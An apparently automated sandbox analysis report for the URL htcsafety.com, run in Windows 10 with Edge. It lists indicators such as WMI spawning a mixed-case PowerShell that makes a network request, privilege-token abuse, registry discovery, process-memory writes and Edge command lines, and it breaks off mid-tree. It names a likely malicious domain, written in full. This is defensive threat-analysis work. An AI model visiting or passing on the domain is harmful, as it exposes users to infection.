hxxp://htcsafety[.]com

Analysis

user interaction
yes
max time kernel
242s
max time network
244s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
24/07/2026, 15:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://htcsafety.com
Sample260724-slkt9sshja

Score

10^/10

discovery

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1860	3504	pOwErshELl.exe	106

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
112	2500	powershell.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3812_1331379088\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3812_1858913532\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3812_1858913532\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3812_1858913532\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3812_1858913532\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3812_1331379088\data.txt	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1696	msedge.exe
5460	msedge.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134293796327977162"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2684263265-1628758615-802431902-1000\{6F8F13FC-41E4-43C0-B681-1FC92349145A}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2684263265-1628758615-802431902-1000\{00831E1B-D457-4FE0-98B3-E53D309D0D97}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2684263265-1628758615-802431902-1000_Classes\Local Settings	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1052	powershell.exe
1052	powershell.exe
1052	powershell.exe
1860	pOwErshELl.exe
1860	pOwErshELl.exe
1860	pOwErshELl.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
4692	msedge.exe
4692	msedge.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe
4704	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4704	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1052	powershell.exe
Token: SeDebugPrivilege	1860	pOwErshELl.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeIncreaseQuotaPrivilege	2500	powershell.exe
Token: SeSecurityPrivilege	2500	powershell.exe
Token: SeTakeOwnershipPrivilege	2500	powershell.exe
Token: SeLoadDriverPrivilege	2500	powershell.exe
Token: SeSystemProfilePrivilege	2500	powershell.exe
Token: SeSystemtimePrivilege	2500	powershell.exe
Token: SeProfSingleProcessPrivilege	2500	powershell.exe
Token: SeIncBasePriorityPrivilege	2500	powershell.exe
Token: SeCreatePagefilePrivilege	2500	powershell.exe
Token: SeBackupPrivilege	2500	powershell.exe
Token: SeRestorePrivilege	2500	powershell.exe
Token: SeShutdownPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeSystemEnvironmentPrivilege	2500	powershell.exe
Token: SeRemoteShutdownPrivilege	2500	powershell.exe
Token: SeUndockPrivilege	2500	powershell.exe
Token: SeManageVolumePrivilege	2500	powershell.exe
Token: 33	2500	powershell.exe
Token: 34	2500	powershell.exe
Token: 35	2500	powershell.exe
Token: 36	2500	powershell.exe
Token: SeIncreaseQuotaPrivilege	2500	powershell.exe
Token: SeSecurityPrivilege	2500	powershell.exe
Token: SeTakeOwnershipPrivilege	2500	powershell.exe
Token: SeLoadDriverPrivilege	2500	powershell.exe
Token: SeSystemProfilePrivilege	2500	powershell.exe
Token: SeSystemtimePrivilege	2500	powershell.exe
Token: SeProfSingleProcessPrivilege	2500	powershell.exe
Token: SeIncBasePriorityPrivilege	2500	powershell.exe
Token: SeCreatePagefilePrivilege	2500	powershell.exe
Token: SeBackupPrivilege	2500	powershell.exe
Token: SeRestorePrivilege	2500	powershell.exe
Token: SeShutdownPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeSystemEnvironmentPrivilege	2500	powershell.exe
Token: SeRemoteShutdownPrivilege	2500	powershell.exe
Token: SeUndockPrivilege	2500	powershell.exe
Token: SeManageVolumePrivilege	2500	powershell.exe
Token: 33	2500	powershell.exe
Token: 34	2500	powershell.exe
Token: 35	2500	powershell.exe
Token: 36	2500	powershell.exe
Token: SeIncreaseQuotaPrivilege	2500	powershell.exe
Token: SeSecurityPrivilege	2500	powershell.exe
Token: SeTakeOwnershipPrivilege	2500	powershell.exe
Token: SeLoadDriverPrivilege	2500	powershell.exe
Token: SeSystemProfilePrivilege	2500	powershell.exe
Token: SeSystemtimePrivilege	2500	powershell.exe
Token: SeProfSingleProcessPrivilege	2500	powershell.exe
Token: SeIncBasePriorityPrivilege	2500	powershell.exe
Token: SeCreatePagefilePrivilege	2500	powershell.exe
Token: SeBackupPrivilege	2500	powershell.exe
Token: SeRestorePrivilege	2500	powershell.exe
Token: SeShutdownPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeSystemEnvironmentPrivilege	2500	powershell.exe
Token: SeRemoteShutdownPrivilege	2500	powershell.exe
Token: SeUndockPrivilege	2500	powershell.exe
Token: SeManageVolumePrivilege	2500	powershell.exe
Token: 33	2500	powershell.exe
Token: 34	2500	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe
3388	msedge.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 3388 wrote to memory of 556	3388	msedge.exe	85
PID 3388 wrote to memory of 1696	3388	msedge.exe	86
PID 3388 wrote to memory of 1712	3388	msedge.exe	87
PID 3388 wrote to memory of 1712	3388	msedge.exe	87
PID 3388 wrote to memory of 1712	3388	msedge.exe	87
PID 3388 wrote to memory of 5108	3388	msedge.exe	88
PID 3388 wrote to memory of 5108	3388	msedge.exe	88
PID 3388 wrote to memory of 1956	3388	msedge.exe	90
PID 3388 wrote to memory of 1956	3388	msedge.exe	90
PID 3388 wrote to memory of 4132	3388	msedge.exe	91
PID 3388 wrote to memory of 1956	3388	msedge.exe	90
PID 3388 wrote to memory of 4132	3388	msedge.exe	91
PID 3388 wrote to memory of 4132	3388	msedge.exe	91
PID 3388 wrote to memory of 1856	3388	msedge.exe	95
PID 3388 wrote to memory of 1856	3388	msedge.exe	95
PID 3388 wrote to memory of 1856	3388	msedge.exe	95
PID 3388 wrote to memory of 4536	3388	msedge.exe	96
PID 3388 wrote to memory of 4536	3388	msedge.exe	96
PID 3388 wrote to memory of 4536	3388	msedge.exe	96
PID 3388 wrote to memory of 4240	3388	msedge.exe	97
PID 3388 wrote to memory of 2348	3388	msedge.exe	98
PID 3388 wrote to memory of 4240	3388	msedge.exe	97
PID 3388 wrote to memory of 2348	3388	msedge.exe	98
PID 3388 wrote to memory of 2840	3388	msedge.exe	100
PID 3388 wrote to memory of 4548	3388	msedge.exe	111
PID 3388 wrote to memory of 1212	3388	msedge.exe	112
PID 3388 wrote to memory of 4072	3388	msedge.exe	113
PID 1860 wrote to memory of 2500	1860	pOwErshELl.exe	119
PID 3388 wrote to memory of 3636	3388	msedge.exe	121
PID 3388 wrote to memory of 3636	3388	msedge.exe	121
PID 3388 wrote to memory of 4692	3388	msedge.exe	122
PID 3388 wrote to memory of 3812	3388	msedge.exe	123
PID 3812 wrote to memory of 1052	3812	msedge.exe	124
PID 3812 wrote to memory of 5460	3812	msedge.exe	125
PID 3812 wrote to memory of 3156	3812	msedge.exe	126
PID 3812 wrote to memory of 6084	3812	msedge.exe	127
PID 3812 wrote to memory of 3156	3812	msedge.exe	126
PID 3812 wrote to memory of 3156	3812	msedge.exe	126
PID 3812 wrote to memory of 6084	3812	msedge.exe	127
PID 3812 wrote to memory of 1240	3812	msedge.exe	130
PID 3812 wrote to memory of 3612	3812	msedge.exe	132
PID 3812 wrote to memory of 3612	3812	msedge.exe	132
PID 3812 wrote to memory of 3976	3812	msedge.exe	134
PID 3812 wrote to memory of 3976	3812	msedge.exe	134
PID 3812 wrote to memory of 224	3812	msedge.exe	135
PID 3812 wrote to memory of 224	3812	msedge.exe	135
PID 3812 wrote to memory of 2092	3812	msedge.exe	136
PID 3812 wrote to memory of 2092	3812	msedge.exe	136
PID 3812 wrote to memory of 2496	3812	msedge.exe	137
PID 3812 wrote to memory of 2496	3812	msedge.exe	137
PID 3812 wrote to memory of 6036	3812	msedge.exe	138
PID 3812 wrote to memory of 6036	3812	msedge.exe	138
PID 3812 wrote to memory of 3816	3812	msedge.exe	139
PID 3812 wrote to memory of 3816	3812	msedge.exe	139
PID 3812 wrote to memory of 5300	3812	msedge.exe	142
PID 3812 wrote to memory of 928	3812	msedge.exe	143
PID 3812 wrote to memory of 3440	3812	msedge.exe	144
PID 3812 wrote to memory of 5704	3812	msedge.exe	148
PID 3812 wrote to memory of 5704	3812	msedge.exe	148
PID 3812 wrote to memory of 3092	3812	msedge.exe	153
PID 3812 wrote to memory of 3092	3812	msedge.exe	153

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://htcsafety.com
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ffb70d4c188,0x7ffb70d4c194,0x7ffb70d4c1a0
  2⤵
  PID:556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1780,i,8229010523719362480,16415409299916111414,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1652,i,2246339995449462192,16576568364676378145,262144 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=2140 /prefetch:2
  2⤵
  PID:1712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2036,i,15700334106566867153,7279804079883885145,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=2764 /prefetch:8
  2⤵
  PID:5108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3448,i,7805088567235108767,5540746248382687735,2097152 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:1
  2⤵
  PID:1956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3452,i,17435303503364243752,17839012465262820232,2097152 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:4132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=5004,i,7162739710088423446,13106055205756784893,2097152 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:1
  2⤵
  PID:1856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4288,i,11542327556447724314,9495120600699573271,2097152 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:1
  2⤵
  PID:4536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,1100938252294160276,13788052584321963398,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:8
  2⤵
  PID:4240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,92904961257106256,7484931316297834238,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:8
  2⤵
  PID:2348
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6016,i,7549810106586028761,15997237557665139662,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:8
  2⤵
  PID:2084
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6016,i,7549810106586028761,15997237557665139662,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:8
  2⤵
  PID:2840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,3563978312920636189,7871123014320577931,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:8
  2⤵
  PID:4548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6016,i,7217076616405083695,3262684908037999540,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  PID:1212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,17423429655278837653,11517096034115277979,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:8
  2⤵
  PID:4072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3720,i,5017701828668178604,4019585068057962951,524288 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:8
  2⤵
  PID:3636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=784,i,14784164526793640132,9698251500053432450,262144 --field-trial-handle=2144,i,17410695116408499262,13192798329969445091,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
  2⤵
  - Drops file in Windows directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x308,0x7ffb70d4c188,0x7ffb70d4c194,0x7ffb70d4c1a0
    3⤵
    PID:1052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1948,i,16023380385551943070,7429370355098708886,524288 --field-trial-handle=2788,i,14966363231264093115,10300367247532681611,262144 --variations-seed-version --mojo-platform-channel-handle=2772 /prefetch:3
    3⤵
    - System Time Discovery
    PID:5460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
